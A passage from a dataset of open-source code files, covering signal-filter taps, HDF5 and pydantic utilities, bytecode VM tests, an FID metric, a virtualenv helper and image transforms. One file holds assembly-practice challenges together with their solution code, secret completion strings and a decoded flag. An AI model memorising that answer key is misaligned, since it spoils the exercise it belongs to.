8.30432e-01, 3.51186e-01, -1.01915e-01, 2.96543e-02, -5.21683e-03 ],\n [ -5.69280e-03, 3.40940e-02, -1.31581e-01, 8.37557e-01, 3.41109e-01, -9.96402e-02, 2.90433e-02, -5.11376e-03 ],\n [ -5.59731e-03, 3.35600e-02, -1.29874e-01, 8.44559e-01, 3.31048e-01, -9.73254e-02, 2.84182e-02, -5.00800e-03 ],\n [ -5.49804e-03, 3.30021e-02, -1.28068e-01, 8.51437e-01, 3.21004e-01, -9.49727e-02, 2.77794e-02, -4.89961e-03 ],\n [ -5.39500e-03, 3.24205e-02, -1.26161e-01, 8.58189e-01, 3.10980e-01, -9.25834e-02, 2.71272e-02, -4.78866e-03 ],\n [ -5.28823e-03, 3.18153e-02, -1.24154e-01, 8.64812e-01, 3.00980e-01, -9.01591e-02, 2.64621e-02, -4.67520e-03 ],\n [ -5.17776e-03, 3.11866e-02, -1.22047e-01, 8.71305e-01, 2.91006e-01, -8.77011e-02, 2.57844e-02, -4.55932e-03 ],\n [ -5.06363e-03, 3.05345e-02, -1.19837e-01, 8.77666e-01, 2.81060e-01, -8.52109e-02, 2.50946e-02, -4.44107e-03 ],\n [ -4.94589e-03, 2.98593e-02, -1.17526e-01, 8.83893e-01, 2.71144e-01, -8.26900e-02, 2.43930e-02, -4.32052e-03 ],\n [ -4.82456e-03, 2.91609e-02, -1.15113e-01, 8.89984e-01, 2.61263e-01, -8.01399e-02, 2.36801e-02, -4.19774e-03 ],\n [ -4.69970e-03, 2.84397e-02, -1.12597e-01, 8.95936e-01, 2.51417e-01, -7.75620e-02, 2.29562e-02, -4.07279e-03 ],\n [ -4.57135e-03, 2.76957e-02, -1.09978e-01, 9.01749e-01, 2.41609e-01, -7.49577e-02, 2.22218e-02, -3.94576e-03 ],\n [ -4.43955e-03, 2.69293e-02, -1.07256e-01, 9.07420e-01, 2.31843e-01, -7.23286e-02, 2.14774e-02, -3.81671e-03 ],\n [ -4.30435e-03, 2.61404e-02, -1.04430e-01, 9.12947e-01, 2.22120e-01, -6.96762e-02, 2.07233e-02, -3.68570e-03 ],\n [ -4.16581e-03, 2.53295e-02, -1.01501e-01, 9.18329e-01, 2.12443e-01, -6.70018e-02, 1.99599e-02, -3.55283e-03 ],\n [ -4.02397e-03, 2.44967e-02, -9.84679e-02, 9.23564e-01, 2.02814e-01, -6.43069e-02, 1.91877e-02, -3.41815e-03 ],\n [ -3.87888e-03, 2.36423e-02, -9.53307e-02, 9.28650e-01, 1.93236e-01, -6.15931e-02, 1.84071e-02, -3.28174e-03 ],\n [ -3.73062e-03, 2.27664e-02, -9.20893e-02, 9.33586e-01, 1.83711e-01, -5.88617e-02, 1.76185e-02, -3.14367e-03 ],\n [ -3.57923e-03, 2.18695e-02, -8.87435e-02, 9.38371e-01, 1.74242e-01, -5.61142e-02, 1.68225e-02, -3.00403e-03 ],\n [ -3.42477e-03, 2.09516e-02, -8.52933e-02, 9.43001e-01, 1.64831e-01, -5.33522e-02, 1.60193e-02, -2.86289e-03 ],\n [ -3.26730e-03, 2.00132e-02, -8.17385e-02, 9.47477e-01, 1.55480e-01, -5.05770e-02, 1.52095e-02, -2.72032e-03 ],\n [ -3.10689e-03, 1.90545e-02, -7.80792e-02, 9.51795e-01, 1.46192e-01, -4.77900e-02, 1.43934e-02, -2.57640e-03 ],\n [ -2.94361e-03, 1.80759e-02, -7.43154e-02, 9.55956e-01, 1.36968e-01, -4.49929e-02, 1.35716e-02, -2.43121e-03 ],\n [ -2.77751e-03, 1.70776e-02, -7.04471e-02, 9.59958e-01, 1.27812e-01, -4.21869e-02, 1.27445e-02, -2.28483e-03 ],\n [ -2.60868e-03, 1.60599e-02, -6.64743e-02, 9.63798e-01, 1.18725e-01, -3.93735e-02, 1.19125e-02, -2.13733e-03 ],\n [ -2.43718e-03, 1.50233e-02, -6.23972e-02, 9.67477e-01, 1.09710e-01, -3.65541e-02, 1.10760e-02, -1.98880e-03 ],\n [ -2.26307e-03, 1.39681e-02, -5.82159e-02, 9.70992e-01, 1.00769e-01, -3.37303e-02, 1.02356e-02, -1.83931e-03 ],\n [ -2.08645e-03, 1.28947e-02, -5.39305e-02, 9.74342e-01, 9.19033e-02, -3.09033e-02, 9.39154e-03, -1.68894e-03 ],\n [ -1.90738e-03, 1.18034e-02, -4.95412e-02, 9.77526e-01, 8.31162e-02, -2.80746e-02, 8.54441e-03, -1.53777e-03 ],\n [ -1.72594e-03, 1.06946e-02, -4.50483e-02, 9.80543e-01, 7.44095e-02, -2.52457e-02, 7.69462e-03, -1.38589e-03 ],\n [ -1.54221e-03, 9.56876e-03, -4.04519e-02, 9.83392e-01, 6.57852e-02, -2.24178e-02, 6.84261e-03, -1.23337e-03 ],\n [ -1.35627e-03, 8.42626e-03, -3.57525e-02, 9.86071e-01, 5.72454e-02, -1.95925e-02, 5.98883e-03, -1.08030e-03 ],\n [ -1.16820e-03, 7.26755e-03, -3.09503e-02, 9.88580e-01, 4.87921e-02, -1.67710e-02, 5.13372e-03, -9.26747e-04 ],\n [ -9.78093e-04, 6.09305e-03, -2.60456e-02, 9.90917e-01, 4.04274e-02, -1.39548e-02, 4.27773e-03, -7.72802e-04 ],\n [ -7.86031e-04, 4.90322e-03, -2.10389e-02, 9.93082e-01, 3.21531e-02, -1.11453e-02, 3.42130e-03, -6.18544e-04 ],\n [ -5.92100e-04, 3.69852e-03, -1.59305e-02, 9.95074e-01, 2.39714e-02, -8.34364e-03, 2.56486e-03, -4.64053e-04 ],\n [ -3.96391e-04, 2.47942e-03, -1.07209e-02, 9.96891e-01, 1.58840e-02, -5.55134e-03, 1.70888e-03, -3.09412e-04 ],\n [ -1.98993e-04, 1.24642e-03, -5.41054e-03, 9.98534e-01, 7.89295e-03, -2.76968e-03, 8.53777e-04, -1.54700e-04 ],\n [ 0.00000e+00, 0.00000e+00, 0.00000e+00, 1.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00 ]\n]\n\nprint(\"static const int NUM_TAPS = 8;\")\nprint(\"static const int NUM_STEPS = 128;\")\nprint(\"static const mmseTaps[NUM_STEPS+1][NUM_TAPS] = {\")\nfor taps in filters:\n body = \", \".join(\"%.5e\" % t for t in reversed(taps))\n print(\"{ \" + body + \" },\")\nprint(\"};\")\n", "source": "codient/goestools", "license": "BSD-2-Clause"}
+{"text": "from contextlib import contextmanager\n\nfrom .file import H5File\n\n\n@contextmanager\ndef open_h5file(filename, mode='r+', **kwargs):\n \"\"\"Context manager for reading an HDF5 file as an H5File object.\n\n Parameters\n ----------\n filename : str\n HDF5 file name.\n mode : str\n Mode to open the file:\n\n 'r' : Read-only\n 'w' : Write; create new file (an existing file would be deleted).\n 'a' : Read and write to file; create if not existing\n 'r+': Read and write to file; must already exist\n\n See `H5File` for additional keyword arguments.\n \"\"\"\n h5 = H5File(filename, mode=mode, **kwargs)\n try:\n yield h5\n finally:\n h5.close()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "from typing import List\nfrom yearmonth.yearmonth import YearMonth\nimport pydantic \n\n\nclass MyModel(pydantic.BaseModel):\n ym: YearMonth \n\n\ndef test_pydantic_validators(): \n\n MyModel(ym=(2021, 1))\n MyModel(ym='2021-01')\n MyModel(ym=('2021', '01'))\n\n\ndef test_pydantic_schema(): \n\n schema = MyModel.schema()\n\n check_examples = ['2021-01', (2021, 1)]\n check_string = 'ISO 8601 compliant reduced precision calendar date'\n\n assert check_examples == schema['properties']['ym']['examples']\n assert check_string == schema['properties']['ym']['description']\n\n\ndef test_pydantic_json(): \n\n m = MyModel(ym='2021-01')\n assert m.json() == '{\"ym\": {\"year\": 2021, \"month\": 1}}'", "source": "bsnacks000/yearmonth", "license": "MIT"}
+{"text": "\"\"\" Byterund \u7684\u57fa\u672c\u6d4b\u8bd5\"\"\"\n\nimport vmtest\n\nclass It(vmtest.VmTestCase):\n def test1(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n @staticmethod\n def smeth(x):\n print(x)\n @classmethod\n def cmeth(cls, x):\n print(x)\n\n Thing.smeth(1492)\n Thing.cmeth(1776)\n \"\"\")\n\n def test_contstant(self):\n self.assert_ok(\"17\")\n\n def test_for_loop(self):\n self.assert_ok(\"\"\"\\\n out = \"\"\n for i in range(5):\n out = out + str(i)\n print(out)\n \"\"\")\n\n def test_slice(self):\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:8])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[:8])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[:])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[::-1])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:8:2])\n \"\"\")\n\n def test_slice_assignment(self):\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[3:8] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[:8] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[3:] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[:] = [\"x\"]\n print(l)\n \"\"\")\n\n def test_building_stuff(self):\n self.assert_ok(\"\"\"\\\n print((1+1, 2+2, 3+3))\n \"\"\")\n self.assert_ok(\"\"\"\\\n print([1+1, 2+2, 3+3])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print({1:1+1, 2:2+2, 3:3+3})\n \"\"\")\n\n def test_subscripting(self):\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n print(\"%s %s %s\" % (l[0], l[3], l[9]))\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[5] = 17\n print(l)\n \"\"\")\n\n def test_list_comprehension(self):\n self.assert_ok(\"\"\"\\\n x = [z*z for z in range(5)]\n assert x == [0, 1, 4, 9, 16]\n \"\"\")\n\n def test_unary_operators(self):\n self.assert_ok(\"\"\"\\\n x = 8\n print(-x, ~x, not x)\n \"\"\")\n\n def test_attributes(self):\n self.assert_ok(\"\"\"\\\n l = lambda: 1 # Just to have an object...\n l.foo = 17\n print(hasattr(l, \"foo\"), l.foo)\n # del l.foo\n # print(hasattr(l, \"foo\"))\n \"\"\")\n\n def test_import(self):\n self.assert_ok(\"\"\"\\\n import math\n print(math.pi, math.e)\n from math import sqrt\n print(sqrt(2))\n # from math import * # not supported\n # print(sin(2))\n \"\"\")\n\n def test_staticmethods(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n @staticmethod\n def smeth(x):\n print(x)\n @classmethod\n def cmeth(cls, x):\n print(x)\n\n Thing.smeth(1492)\n Thing.cmeth(1776)\n \"\"\")\n\n def test_unbound_methods(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n def meth(self, x):\n print(x)\n m = Thing.meth\n m(Thing(), 1815)\n \"\"\")\n\n def test_unpacking(self):\n self.assert_ok(\"\"\"\\\n a, b, c = (1, 2, 3)\n assert a == 1\n assert b == 2\n assert c == 3\n \"\"\")\n\n def test_exec_function(self):\n self.assert_ok(\"\"\"\\\n g = {}\n exec(\"a = 11\", g, g)\n assert g['a'] == 11\n \"\"\")\n\n def test_jump_if_true_or_pop(self):\n self.assert_ok(\"\"\"\\\n def f(a, b):\n return a or b\n assert f(17, 0) == 17\n assert f(0, 23) == 23\n assert f(0, \"\") == \"\"\n \"\"\")\n\n def test_jump_if_false_or_pop(self):\n self.assert_ok(\"\"\"\\\n def f(a, b):\n return not(a and b)\n assert f(17, 0) is True\n assert f(0, 23) is True\n assert f(0, \"\") is True\n assert f(17, 23) is False\n \"\"\")\n\n def test_pop_jump_if_true(self):\n self.assert_ok(\"\"\"\\\n def f(a):\n if not a:\n return 'foo'\n else:\n return 'bar'\n assert f(0) == 'foo'\n assert f(1) == 'bar'\n \"\"\")\n\nclass TestComparisons(vmtest.VmTestCase):\n def test_in(self):\n self.assert_ok(\"\"\"\\\n assert \"x\" in \"xyz\"\n assert \"x\" not in \"abc\"\n assert \"x\" in (\"x\", \"y\", \"z\")\n assert \"x\" not in (\"a\", \"b\", \"c\")\n \"\"\")\n\n def test_less(self):\n self.assert_ok(\"\"\"\\\n assert 1 < 3\n assert 1 <= 2 and 1 <= 1\n assert \"a\" < \"b\"\n assert \"a\" <= \"b\" and \"a\" <= \"a\"\n \"\"\")\n\n def test_greater(self):\n self.assert_ok(\"\"\"\\\n assert 3 > 1\n assert 3 >= 1 and 3 >= 3\n assert \"z\" > \"a\"\n assert \"z\" >= \"a\" and \"z\" >= \"z\"\n \"\"\")", "source": "yunkai123/my-500lines-notes", "license": "MIT"}
+{"text": "from platform import architecture\nfrom qiling import Qiling\nfrom typing import Union\n\nfrom asm_practice.coding.challenge import ArchSpec, Challenge, TestCase\n\nchallenges = []\n\namd64 = ArchSpec(\n pwntools_arch=\"amd64\",\n pwntools_os=\"linux\",\n qiling_rootfs=\"qiling/examples/rootfs/x86_linux/\",\n qiling_ostype=\"linux\",\n qiling_archtype=\"x8664\",\n)\n\n\"\"\"\nlea rax, [rdi+rsi] ;\n\"\"\"\n\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"Add rdi to rsi and store the result in rax using only one instruction.\",\n testcases=[\n TestCase(\n codeconditions=[\n (lambda c: len(c.splitlines()) == 1, \"too many instructions!\"),\n (lambda c: c.count(\";\") <= 1, \"too many instructions!\"),\n ],\n preconditions=[\n lambda ql: setattr(ql.reg, \"rdi\", 0x1000),\n lambda ql: setattr(ql.reg, \"rsi\", 0x2000),\n ],\n postconditions=[(lambda ql: ql.reg.rax == 0x3000, \"rax != rdi + rsi!\")],\n )\n ],\n secret=\"code{some_instructions_have_many_uses}\",\n )\n)\n\n\nclass IOBuffer:\n def __init__(self) -> None:\n self.buffer = b\"\"\n\n def write(self, ql, fd, buf, count, *args, **kw) -> int:\n self.buffer += ql.mem.read(buf, count)\n ql.os.set_syscall_return(count)\n\n\n\"\"\"\nmov rax, 0x616d72656b636168 ;\npush rax ;\nmov rsi, rsp ;\nmov rdi, 0x1 ;\nmov rdx, 0x8 ;\nmov rax, 0x1 ;\nsyscall ;\nmov rax, 0x6e ;\npush rax ;\nmov rsi, rsp ;\nmov rdi, 0x1 ;\nmov rdx, 0x1 ;\nmov rax, 0x1 ;\nsyscall ;\n\"\"\"\n\nIOBuffer_0 = IOBuffer()\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"Print the string 'hackerman' to stdout.\",\n testcases=[\n TestCase(\n preconditions=[lambda ql: ql.set_syscall(\"write\", IOBuffer_0.write)],\n postconditions=[\n (\n lambda ql: IOBuffer_0.buffer == b\"hackerman\" or print(f'stdout was {IOBuffer_0.buffer}, not \\'hackerman\\'!'),\n f\"\",\n )\n ],\n )\n ],\n secret=\"code{asm_c4n_d0_anything_java_can_do}\",\n )\n)\n\n\"\"\"\nmov rax, 0x0 ;\ncomp:\ncmp rax, 0x20 ;\njg end;\nmov bl, [rsi+rax] ;\nxor bl, 0x82 ;\nmov byte ptr [rsi+rax], bl ;\ninc rax ;\njmp comp ;\nend:\nmov rax, 0x1 ;\nmov rdi, 0x1 ;\nmov rdx, 0x20 ;\nsyscall ;\n\"\"\"\n\nADDR_0 = 0x10000000//0x1000*0x1000\nIOBuffer_1 = IOBuffer()\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"\"\"\n Register rsi contains a pointer to the flag, but the \n flag has been encoded by XOR-ing each byte with 0x82. \n Decode it and print it out to complete the challenge!\n Hint: the flag is 32 characters long...\n \"\"\",\n testcases=[\n TestCase(\n preconditions=[\n lambda ql: ql.mem.map(ADDR_0, 0x1000),\n lambda ql: ql.mem.write(\n ADDR_0,\n b\"\\xe0\\xe1\\xf6\\xe4\\xf9\\xe1\\xb2\\xec\\xe5\\xf0\\xe3\\xf6\\xf1\\xdd\\xfb\\xb2\\xf7\\xdd\\xe3\\xf0\\xe7\\xdd\\xe3\\xdd\\xf2\\xf0\\xb2\\xa3\\xa3\\xa3\\xa3\\xff\",\n # b\"bctf{c0ngrats_y0u_are_a_pr0!!!!}\"\n ),\n lambda ql: setattr(ql.reg, \"rsi\", ADDR_0),\n lambda ql: ql.set_syscall(\"write\", IOBuffer_1.write)\n ],\n postconditions=[(lambda ql: IOBuffer_1.buffer == b'bctf{c0ngrats_y0u_are_a_pr0!!!!}', 'didn\\'t print out the encrypted flag!')],\n )\n ],\n secret=\"code{did_you_get_the_flag?}\",\n )\n)\n", "source": "novafacing/challenges", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 24 11:39:42 2015\n\n@author: dahoiv\n\"\"\"\n\nimport numpy as np\n\ndef loadMetrics(filepath):\n mr_points=dict()\n us_points=dict()\n with open(filepath, 'r') as file :\n for line in file.readlines():\n line = line.translate(None, '\"')\n \n data= line.split()\n if not \"pointMetric\" in data[0]:\n continue\n key= data[1][-2:]\n point = data[6:9]\n if \"_mr_\" in data[1] and not \"us\" in data[2].lower():\n mr_points[key]=[float(point[0]),float(point[1]),float(point[2])]\n if \"_us_\" in data[1] and \"us\" in data[2].lower():\n us_points[key]=[float(point[0]),float(point[1]),float(point[2])]\n return (mr_points,us_points)\n \ndef calcDist(mr_points,us_points):\n k=0\n dist=[]\n for key in mr_points.keys():\n if not key in us_points.keys():\n print key, \" missing in us\"\n continue\n diff = np.array(mr_points[key])-np.array(us_points[key])\n dist.append((diff[0]**2 +diff[1]**2 +diff[2]**2)**0.5)\n print key, dist[-1]\n k=k+1\n print \"mean; \", np.mean(dist)\n print \"var: \", np.var(dist)\n \nif __name__ == '__main__': \n filePath1=\"/home/dahoiv/disk/data/brainshift/079_Tumor.cx3/Logs/metrics_a.txt\"\n (mr_points_1,us_points_1)=loadMetrics(filePath1) \n calcDist(mr_points_1,us_points_1)\n \n \n filePath2=\"/home/dahoiv/disk/data/brainshift/079_Tumor.cx3/Logs/metrics_b.txt\"\n (mr_points_2,us_points_2)=loadMetrics(filePath2)\n calcDist(mr_points_2,us_points_2)\n ", "source": "Danielhiversen/pyCustusx", "license": "MIT"}
+{"text": "\nfrom __future__ import absolute_import\n__author__ = 'ross'\n\nimport unittest\n\nfrom pychron.experiment.utilities.comment_template import CommentTemplater\n\n\nclass MockFactory(object):\n irrad_level = 'A'\n irrad_hole = '9'\n\n\nclass CommentTemplaterTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.obj=MockFactory()\n\n def test_render1(self):\n self._test_render('irrad_level : irrad_hole', 'A:9')\n\n def test_render2(self):\n self._test_render('irrad_level : irrad_hole SCLF', 'A:9SCLF')\n\n def test_render3(self):\n self._test_render('irrad_level : irrad_hole SCLF', 'A:9 SCLF')\n\n def _test_render(self, label, expected):\n ct = CommentTemplater()\n ct.label=label\n r = ct.render(self.obj)\n self.assertEqual(expected, r)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
+{"text": "# Code apapted from https://github.com/mseitzer/pytorch-fid\n\n\"\"\"Calculates the Frechet Inception Distance (FID) to evalulate GANs\nThe FID metric calculates the distance between two distributions of images.\nTypically, we have summary statistics (mean & covariance matrix) of one\nof these distributions, while the 2nd distribution is given by a GAN.\nWhen run as a stand-alone program, it compares the distribution of\nimages that are stored as PNG/JPEG at a specified location with a\ndistribution given by summary statistics (in pickle format).\nThe FID is calculated by assuming that X_1 and X_2 are the activations of\nthe pool_3 layer of the inception net for generated samples and real world\nsamples respectively.\nSee --help to see further details.\nCode apapted from https://github.com/bioinf-jku/TTUR to use PyTorch instead\nof Tensorflow\nCopyright 2018 Institute of Bioinformatics, JKU Linz\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport time\nimport numpy as np\nimport torch\nfrom scipy import linalg\nfrom torch.nn.functional import adaptive_avg_pool2d\nfrom util import tools\n\n\ndef get_activations(dataset, model, size=1000, batch_size=50, dims=2048, device='cpu'):\n \"\"\"Calculates the activations of the pool_3 layer for all images.\n Params:\n -- files : List of image files paths\n -- model : Instance of inception model\n -- batch_size : Batch size of images for the model to process at once.\n Make sure that the number of samples is a multiple of\n the batch size, otherwise some samples are ignored. This\n behavior is retained to match the original FID score\n implementation.\n -- dims : Dimensionality of features returned by Inception\n -- device : Device to run calculations\n Returns:\n -- A numpy array of dimension (num images, dims) that contains the\n activations of the given tensor when feeding inception with the\n query tensor.\n \"\"\"\n model.eval()\n\n if batch_size > size:\n print(('Warning: batch size is bigger than the data size. '\n 'Setting batch size to data size'))\n batch_size = size\n\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=False, drop_last=False)\n\n pred_arr = np.empty((size, dims))\n start_idx = 0\n\n for batch, _ in dataloader:\n if batch.shape[1] == 1:\n batch = torch.cat((batch, batch, batch), 1)\n batch = batch.to(device)\n with torch.no_grad():\n pred = model(batch)[0]\n\n # If model output is not scalar, apply global spatial average pooling.\n # This happens if you choose a dimensionality not equal 2048.\n if pred.size(2) != 1 or pred.size(3) != 1:\n pred = adaptive_avg_pool2d(pred, output_size=(1, 1))\n\n pred = pred.squeeze(3).squeeze(2).cpu().numpy()\n pred_arr[start_idx:start_idx + pred.shape[0]] = pred\n start_idx = start_idx + pred.shape[0]\n if start_idx >= size:\n break\n return pred_arr\n\n\ndef calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6):\n \"\"\"Numpy implementation of the Frechet Distance.\n The Frechet distance between two multivariate Gaussians X_1 ~ N(mu_1, C_1)\n and X_2 ~ N(mu_2, C_2) is\n d^2 = ||mu_1 - mu_2||^2 + Tr(C_1 + C_2 - 2*sqrt(C_1*C_2)).\n Stable version by Dougal J. Sutherland.\n Params:\n -- mu1 : Numpy array containing the activations of a layer of the\n inception net (like returned by the function 'get_predictions')\n for generated samples.\n -- mu2 : The sample mean over activations, precalculated on an\n representative data set.\n -- sigma1: The covariance matrix over activations for generated samples.\n -- sigma2: The covariance matrix over activations, precalculated on an\n representative data set.\n Returns:\n -- : The Frechet Distance.\n \"\"\"\n\n mu1 = np.atleast_1d(mu1)\n mu2 = np.atleast_1d(mu2)\n\n sigma1 = np.atleast_2d(sigma1)\n sigma2 = np.atleast_2d(sigma2)\n\n assert mu1.shape == mu2.shape, 'Training and test mean vectors have different lengths'\n assert sigma1.shape == sigma2.shape, 'Training and test covariances have different dimensions'\n\n diff = mu1 - mu2\n\n # Product might be almost singular\n start_time = time.time()\n covmean, _ = linalg.sqrtm(sigma1.dot(sigma2), disp=False)\n print(\"FID: sqrtm --- %s seconds ---\" % (time.time() - start_time))\n if not np.isfinite(covmean).all():\n msg = ('fid calculation produces singular product; '\n 'adding %s to diagonal of cov estimates') % eps\n print(msg)\n offset = np.eye(sigma1.shape[0]) * eps\n covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset))\n\n # Numerical error might give slight imaginary component\n if np.iscomplexobj(covmean):\n if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3):\n m = np.max(np.abs(covmean.imag))\n # raise ValueError('Imaginary component {}'.format(m))\n print('Imaginary component {}'.format(m))\n covmean = covmean.real\n\n tr_covmean = np.trace(covmean)\n return diff.dot(diff) + np.trace(sigma1) + np.trace(sigma2) - 2 * tr_covmean\n\n\ndef calculate_activation_statistics(dataset, model, size=1000, batch_size=50, dims=2048):\n act = get_activations(dataset, model, size, batch_size, dims, tools.device_name())\n mu = np.mean(act, axis=0)\n sigma = np.cov(act, rowvar=False)\n return mu, sigma\n", "source": "vfcosta/coegan-trained", "license": "MIT"}
+{"text": "import os.path\n\nfrom twisted.internet import defer\n\nimport pysoup.utils\n\n\nclass Virtualenv(object):\n\n def __init__(self, display_pip, path):\n self._display_pipe = display_pip\n self._path = path\n\n @property\n def path(self):\n return self._path\n\n @property\n def venv_path(self):\n return os.path.join(self._path, 'venv')\n\n @property\n def source_path(self):\n return os.path.join(self.venv_path, 'bin/activate')\n\n @defer.inlineCallbacks\n def create(self):\n self._display_pipe.log('Ensuring virtualenv environment at {0}'.format(self._path))\n\n code = yield pysoup.utils.execute_shell_command('mkdir -p {0} && virtualenv --no-site-packages -q {0}'.format(self.venv_path))\n if code != 0:\n self._display_pipe.error('Failed to setup virtualenv at target! ({0})'.format(self._path))\n raise Exception('Could not create virtualenv')\n\n self._display_pipe.notify('Virtualenv is ready')\n\n @defer.inlineCallbacks\n def execute_in_venv(self, command):\n code = yield pysoup.utils.execute_shell_command('source {0} && {1}'.format(self.source_path, command))\n defer.returnValue(code)\n", "source": "illBeRoy/pysoup", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport torch\nimport json\nimport math\nimport random\nimport numpy as np\nfrom scipy import ndimage\nfrom pymic.transform.abstract_transform import AbstractTransform\nfrom pymic.util.image_process import *\n\n\nclass ChannelWiseThreshold(AbstractTransform):\n \"\"\"Threshold the image (shape [C, D, H, W] or [C, H, W]) for each channel\n \"\"\"\n def __init__(self, params):\n \"\"\"\n channels (tuple/list/None): the list of specified channels for thresholding. Default value \n is all the channels.\n threshold_lower (tuple/list/None): The lower threshold values for specified channels.\n threshold_upper (tuple/list/None): The uppoer threshold values for specified channels.\n replace_lower (tuple/list/None): new values for pixels with intensity smaller than \n threshold_lower. Default value is \n replace_upper (tuple/list/None): new values for pixels with intensity larger than threshold_upper.\n \"\"\"\n super(ChannelWiseThreshold, self).__init__(params)\n self.channlels = params['ChannelWiseThreshold_channels'.lower()]\n self.threshold_lower = params['ChannelWiseThreshold_threshold_lower'.lower()]\n self.threshold_upper = params['ChannelWiseThreshold_threshold_upper'.lower()]\n self.replace_lower = params['ChannelWiseThreshold_replace_lower'.lower()]\n self.replace_upper = params['ChannelWiseThreshold_replace_upper'.lower()]\n self.inverse = params.get('ChannelWiseThreshold_inverse'.lower(), False)\n\n def __call__(self, sample):\n image= sample['image']\n channels = range(image.shape[0]) if self.channlels is None else self.channlels\n for i in range(len(channels)):\n chn = channels[i]\n if((self.threshold_lower is not None) and (self.threshold_lower[i] is not None)):\n t_lower = self.threshold_lower[i]\n r_lower = self.threshold_lower[i]\n if((self.replace_lower is not None) and (self.replace_lower[i] is not None)):\n r_lower = self.replace_lower[i]\n image[chn][image[chn] < t_lower] = r_lower\n \n if((self.threshold_upper is not None) and (self.threshold_upper[i] is not None)):\n t_upper = self.threshold_upper[i]\n r_upper = self.threshold_upper[i]\n if((self.replace_upper is not None) and (self.replace_upper[i] is not None)):\n r_upper= self.replace_upper[i]\n image[chn][image[chn] > t_upper] = r_upper\n sample['image'] = image\n return sample\n\nclass ChannelWiseThresholdWithNormalize(AbstractTransform):\n \"\"\"\n Note that this can be replaced by ChannelWiseThreshold + NormalizeWithMinMax\n \n Threshold the image (shape [C, D, H, W] or [C, H, W]) for each channel\n and then normalize the image based on remaining pixels\n \"\"\"\n def __init__(self, params):\n \"\"\"\n :param threshold_lower: (tuple/list/None) The lower threshold value along each channel.\n :param threshold_upper: (typle/list/None) The upper threshold value along each channel.\n :param mean_std_mode: (bool) If true, nomalize the image based on mean and std values,\n and pixels values outside the threshold value are replaced random number.\n If false, use the min and max values for normalization.\n \"\"\"\n super(ChannelWiseThresholdWithNormalize, self).__init__(params)\n self.threshold_lower = params['ChannelWiseThresholdWithNormalize_threshold_lower'.lower()]\n self.threshold_upper = params['ChannelWiseThresholdWithNormalize_threshold_upper'.lower()]\n self.mean_std_mode = params['ChannelWiseThresholdWithNormalize_mean_std_mode'.lower()]\n self.inverse = params.get('ChannelWiseThresholdWithNormalize_inverse'.lower(), False)\n\n def __call__(self, sample):\n image= sample['image']\n for chn in range(image.shape[0]):\n v0 = self.threshold_lower[chn]\n v1 = self.threshold_upper[chn]\n if(self.mean_std_mode == True):\n mask = np.ones_like(image[chn])\n if(v0 is not None):\n mask = mask * np.asarray(image[chn] > v0)\n if(v1 is not None):\n mask = mask * np.asarray(image[chn] < v1)\n pixels = image[chn][mask > 0]\n chn_mean = pixels.mean()\n chn_std = pixels.std()\n chn_norm = (image[chn] - chn_mean)/chn_std\n chn_random = np.random.normal(0, 1, size = chn_norm.shape)\n chn_norm[mask == 0] = chn_random[mask == 0]\n image[chn] = chn_norm\n else:\n img_chn = image[chn]\n if(v0 is not None):\n img_chn[img_chn < v0] = v0\n min_value = v0 \n else:\n min_value = img_chn.min()\n if(v1 is not None):\n img_chn[img_chn > v1] = v1 \n max_value = img_chn.max() \n else:\n max_value = img_chn.max() \n img_chn = (img_chn - min_value) / (max_value - min_value)\n image[chn] = img_chn\n sample['image'] = image\n return sample", "source": "HiLab-git/PyMIC", "license": "Apache-2.0"}
